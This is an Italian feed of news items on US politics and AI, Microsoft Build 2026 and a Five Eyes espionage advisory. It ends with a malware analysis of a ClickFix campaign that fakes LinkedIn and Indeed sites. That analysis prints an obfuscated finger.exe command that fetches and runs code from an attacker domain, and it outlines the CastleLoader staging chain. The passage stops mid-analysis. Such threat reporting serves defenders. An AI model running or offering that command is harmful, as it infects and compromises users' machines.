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Trump vuole che il governo possieda parte delle aziende di AI


Il presidente discute con i dirigenti del settore la possibilità di partecipazioni pubbliche in OpenAI, Anthropic e xAI. L'idea divide repubblicani e democratici a pochi mesi dal voto di midterm.

Il presidente Donald Trump ha confermato venerdì di essere in trattativa con i dirigenti delle principali aziende di intelligenza artificiale per far entrare il governo federale nel loro capitale. L'intervento, se realizzato, sarebbe tra i più significativi del settore pubblico nell'economia privata nella storia americana moderna.

A rivelare per primo l'esistenza di queste discussioni è stato NOTUS, che già da oltre un anno seguiva i colloqui tra la Casa Bianca e i giganti tecnologici. Trump ha ora confermato pubblicamente i contatti e ha annunciato l'intenzione di invitare "tutti" i rappresentanti delle grandi aziende di IA alla Casa Bianca già la prossima settimana.

Sam Altman, amministratore delegato di OpenAI, è tra i promotori dell'idea: ha discusso con Trump la possibilità che quote delle società di IA, inclusa la sua, vengano cedute volontariamente al governo. L'investimento pubblico genererebbe dividendi da distribuire ai cittadini americani. "Ci sono così tanti soldi in gioco, è un settore enorme", ha detto il presidente. "Ci sono scenari in cui delle quote potrebbero essere date al popolo americano, che diventerebbe di fatto un partner delle aziende".

Come riporta il Financial Times, l'amministrazione Trump ha già acquisito partecipazioni in aziende strategicamente rilevanti come Intel e in startup attive nei settori delle terre rare e del calcolo quantistico, in linea con la politica industriale "America first" del presidente.

Il senatore progressista Bernie Sanders, indipendente del Vermont, ritiene che il piano non vada abbastanza lontano. Ha annunciato un disegno di legge per imporre una tassa una tantum del 50 per cento sulle azioni dei laboratori di IA e usare i proventi per creare un fondo sovrano americano. La misura "garantirebbe che i mille miliardi di dollari creati dall'IA siano usati per migliorare la vita di tutti noi", ha detto Sanders.

Il venture capitalist della Silicon Valley e consigliere di Trump David Sacks ha criticato l'intervento statale: "La nazionalizzazione dell'IA accelererà la fusione tra aziende e governo verso cui stiamo già scivolando", ha scritto venerdì in un post sui social, prima delle dichiarazioni del presidente. "L'America non vincerà la corsa all'IA se batterà la Cina ma finirà con un sistema di credito sociale in stile PCC negli Stati Uniti, e questo è il pericolo quando il governo si coinvolge sempre più nello sviluppo dell'IA assumendo proprietà e controllo diretti".

Anche Alex Karp, amministratore delegato di Palantir, è intervenuto nel dibattito. In un'intervista all'emittente TBPN ha raccontato di aver chiamato i dirigenti delle aziende di IA per avvertirli che "lo slancio è dalla parte di chi vuole nazionalizzarle". "Troppi di noi se la stanno prendendo comoda", ha aggiunto.

Anthropic, tuttavia, non sta discutendo con l'amministrazione la possibilità di cedere capitale al governo, secondo una fonte vicina alla questione sentita da NOTUS.

L'intervento di Trump arriva a cinque mesi dalle elezioni di midterm, in cui l'IA e il suo impatto sull'occupazione saranno temi centrali. I sondaggi mostrano un crescente malcontento degli elettori verso la gestione economica del presidente, e questo rischia di compromettere le possibilità dei repubblicani di mantenere il controllo del Congresso. Gli strateghi repubblicani sono preoccupati anche dal malumore verso l'IA che monta nella stessa base Maga del presidente: diversi parlamentari repubblicani hanno provato a introdurre leggi per limitare il settore, temendo perdite di posti di lavoro e minacce alla sicurezza dei minori, ma hanno incontrato la resistenza della Casa Bianca.

Trump ha riconosciuto venerdì che la proposta di Sanders ha fatto breccia anche tra i suoi elettori, e ha suggerito che un "partenariato" tra cittadini e aziende potrebbe placare l'ostilità crescente degli americani verso la tecnologia. "Renderli partner di questa rivoluzione sarebbe una cosa bellissima", ha detto.

Sul tavolo restano molti dettagli da definire, a partire da quante quote il governo dovrebbe possedere. Due delle principali aziende coinvolte, Anthropic e SpaceX, potrebbero quotarsi in Borsa entro pochi mesi con valutazioni attese di migliaia di miliardi di dollari, mentre OpenAI dovrebbe seguire a ruota. Qualsiasi partecipazione azionaria sarebbe quindi estremamente costosa.

OpenAI aveva già delineato ad aprile una proposta per un fondo di ricchezza pubblica americano che desse ai cittadini "una partecipazione alla crescita economica guidata dall'IA". Secondo una fonte a conoscenza diretta della questione, Altman ha poi parlato della proposta con Sanders ed è stato a Washington questa settimana per incontrare parlamentari e funzionari dell'amministrazione Trump.

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La rassegna stampa di sabato 6 giugno 2026


Le forze americane abbattono droni iraniani nel Golfo mentre Kuwait e Bahrain sono colpiti. Boom di assunzioni a maggio ma il Nasdaq perde il 4 per cento sulle attese di un rialzo della Fed. Trump apre a partecipazioni federali nelle aziende di intelligenza artificiale

Questa è la rassegna stampa di sabato 6 giugno 2026

Le forze americane abbattono droni iraniani nel Golfo, attacchi su Kuwait e Bahrain


Il Centcom ha annunciato di aver intercettato almeno quattro droni iraniani diretti verso lo Stretto di Hormuz e ha colpito siti radar a Goruk e sull'isola di Qeshm, mentre Kuwait e Bahrain sono stati bersaglio di nuovi attacchi. Lo scontro, a quasi cento giorni dall'inizio del conflitto, mette a rischio il cessate il fuoco e fa salire la tensione mentre l'Amministrazione Trump preme su Teheran per chiudere un accordo.

Fonti: The New York Times, Bloomberg, Financial Times

L'economia americana aggiunge 172mila posti di lavoro a maggio, ma Wall Street crolla


Il rapporto sull'occupazione di maggio ha superato tutte le stime con 172mila nuovi posti e un tasso di disoccupazione al 4,3 per cento, terzo dato positivo consecutivo. La reazione dei mercati è stata però negativa: il Nasdaq ha perso il 4 per cento e l'S&P 500 il 2,6 per cento, con gli investitori che ora scommettono su un rialzo dei tassi da parte della Federal Reserve.

Fonti: The New York Times, Financial Times, The Guardian

L'ex segretario alla Sanità Xavier Becerra avanza alle primarie per il governatore della California


L'ex segretario alla Sanità Xavier Becerra ha conquistato il primo posto nelle primarie californiane e sarà sulla scheda di novembre per succedere a Gavin Newsom. L'avversario è ancora incerto tra il democratico Tom Steyer e il repubblicano Steve Hilton, mentre il Dipartimento di Giustizia ha inviato un osservatore federale a Los Angeles dopo le accuse di "brogli" lanciate dal presidente Trump contro lo Stato.

Fonti: The New York Times, The Wall Street Journal, The Guardian

Il caso Platner mette in difficoltà i Democratici in vista delle elezioni in Maine


Le nuove rivelazioni del New York Times sul candidato democratico al Senato in Maine Graham Platner, accusato di comportamenti aggressivi verso ex compagne, hanno spaccato il partito. La deputata Madeleine Dean ha detto che Platner "si è squalificato da solo", mentre il candidato respinge le accuse e sostiene che il suo passato sia stato "armato" contro di lui.

Fonti: The New York Times, The Wall Street Journal, The Hill

Il presidente Trump prova a rassicurare gli agricoltori del Wisconsin colpiti da dazi e guerra in Iran


Il presidente ha incontrato gli agricoltori in Wisconsin promettendo loro "cose buone" senza dare dettagli, mentre i prezzi di fertilizzanti e carburanti sono saliti per effetto delle sue politiche sui dazi e del conflitto con l'Iran. Trump ha riconosciuto di "poter essere a casa a guardare la TV", in un evento che riflette le tensioni con un settore strategico in vista delle elezioni di metà mandato.

Fonti: The New York Times, Bloomberg, The Hill

Un giudice federale annulla le restrizioni dell'Amministrazione sui benefici per l'immigrazione


Il giudice distrettuale John J. McConnell Jr. ha invalidato quattro politiche dell'Amministrazione Trump che restringevano le richieste di asilo e altri benefici per gli immigrati, ritenendole oltre l'autorità delle agenzie e motivate da "sentimenti anti-immigrati". In parallelo, il Dipartimento del Tesoro ha avviato l'attuazione di un ordine esecutivo che coinvolge le banche nella stretta contro gli immigrati senza documenti.

Fonti: The Wall Street Journal, Semafor

Il presidente Trump apre a partecipazioni federali nelle aziende di intelligenza artificiale


Il presidente ha detto che gli Stati Uniti potrebbero acquisire quote azionarie in alcune società di intelligenza artificiale, presentando l'ipotesi come una "partnership" utile a rassicurare gli elettori in vista delle elezioni di metà mandato. Contemporaneamente Trump ha firmato un memo che obbliga le agenzie di sicurezza nazionale a lavorare con più fornitori di AI, dopo lo scontro tra il Pentagono e Anthropic, finora unico vendor approvato per uso militare classificato.

Fonti: Financial Times, Bloomberg

SpaceX firma un contratto da 30 miliardi di dollari con Google per la potenza di calcolo AI


La società di Elon Musk ha annunciato un accordo con cui Google le pagherà 920 milioni di dollari al mese per la fornitura di capacità di calcolo dedicata all'intelligenza artificiale. L'intesa arriva mentre SpaceX si prepara a una quotazione in borsa che si annuncia tra le più grandi della storia.

Fonti: The New York Times, Financial Times

Trump spinge il nuovo capo dell'intelligence Pulte a licenziare in massa


Il presidente ha detto di volere che Bill Pulte, da poco nominato direttore facente funzione dell'intelligence nazionale, "tagli molto" l'ufficio, già ridimensionato durante il secondo mandato. Trump ha lasciato intendere che l'Office of the Director of National Intelligence potrebbe perfino essere chiuso, mentre il Senato ha bloccato il rinnovo del programma di sorveglianza Fisa in mezzo ai dubbi sulla nomina.

Fonti: The Wall Street Journal, The Guardian

I conduttori di "60 Minutes" restano dopo il licenziamento di Scott Pelley, ma la crisi della CBS si allarga


Lesley Stahl, Bill Whitaker e Jon Wertheim hanno comunicato allo staff che resteranno nel programma per non lasciarlo "morire", dopo un periodo di "lutto" seguito al licenziamento di Scott Pelley. La vicenda, partita dall'attacco del presidente Trump al programma di punta della CBS, si è trasformata in una crisi più ampia che coinvolge la nuova direzione editoriale di Bari Weiss e l'editore David Ellison.

Fonti: The New York Times, Financial Times, The Hill

Il contenuto di questa rassegna stampa è stato integralmente realizzato tramite un sistema di intelligenza artificiale. Se noti eventuali errori o imprecisioni, ti invitiamo a segnalarceli inviando un'email a segnalazioni@focusamerica.it.

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Un altro raid israeliano in Libano. Un’altra tregua calpestata.

Il governo Netanyahu continua ad alzare lo scontro. L’Unione Europea non può restare spettatrice: deve fermare l’escalation e riaprire uno spazio di pace.

Video di Francesca Romana D’Antuono, copresidente di Volt Europa.

#Libano #Israele #CessateIlFuoco #MedioOriente #StopEscalation #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise
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Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise


Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero


A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

  • MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
  • MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
  • MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
  • MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
  • Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise


Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati


Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft


I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

  • GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
  • Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
  • Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
  • Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.


Trust, governance e sovranità dei dati


Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin


Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

  • Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
  • Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
  • Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
  • AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.


Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News


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GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant
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GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant


A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più


Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization


L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

  1. Si apre il progetto o la solution da migrare in Visual Studio.
  2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
  3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
  4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
  5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati


L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target


Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

  • ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
  • Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
  • Azure Functions: aggiornamento al modello isolated worker process.
  • Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.


Conversione SDK-style


Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire


Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti


L’agente gestisce anche scenari più circoscritti come:

  • Migrazione da Newtonsoft.Json a System.Text.Json.
  • Aggiornamento di Microsoft.Data.SqlClient.
  • Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.


Pre-build error checking in Visual Studio 2026


Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution


Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare


Per usare GitHub Copilot App Modernization è necessario:

  1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
  2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
  3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise


La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione


Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn


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Per la prima volta, la Germania non è riuscita a ottenere un seggio non permanente nel Consiglio di Sicurezza delle Nazioni Unite.

Negli ultimi anni, la Germania ha:

🔴 votato contro una risoluzione che chiedeva a Israele di porre fine all’occupazione dei territori palestinesi, revocare il blocco su Gaza, attuare un cessate il fuoco immediato e invitava gli Stati a interrompere la vendita e il trasferimento di armi a Israele;

🟡 si è astenuta su una risoluzione che chiedeva la fine della presenza illegale israeliana nei territori palestinesi occupati, compresa Gerusalemme Est, e negli insediamenti.

La Germania ha ottenuto 104 voti, contro i 134 del Portogallo e i 131 dell’Austria, restando sotto la soglia necessaria per l’elezione. Il ministro degli Esteri Johann Wadephul ha riconosciuto che anche la posizione tedesca su Israele potrebbe aver pesato sul risultato.

Per anni la Germania ha protetto Israele da conseguenze reali sul piano internazionale: ora molti Stati membri delle Nazioni Unite hanno mandato un segnale diverso.

La complicità ha conseguenze.

Video di Nela Riehl, europarlamentare di Volt.

#Germania #Gaza #Palestina #Netanyahu #NelaRiehl #EuropaFederale #Volt #VoltItalia #VoltEuropa

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✨ Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino
#CyberSecurity
insicurezzadigitale.com/spie-c…

@informatica


Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino


Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence


Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”


Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata


Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare


L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni


Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek


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✨ ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python
#CyberSecurity
insicurezzadigitale.com/clickf…

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ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python


Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed


L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin


L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking


Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

  • CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
  • IronPython: %LocalAppData%\IronPython.3.4.2.pdf


CastleLoader: framework MaaS con cifratura ChaCha20


Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

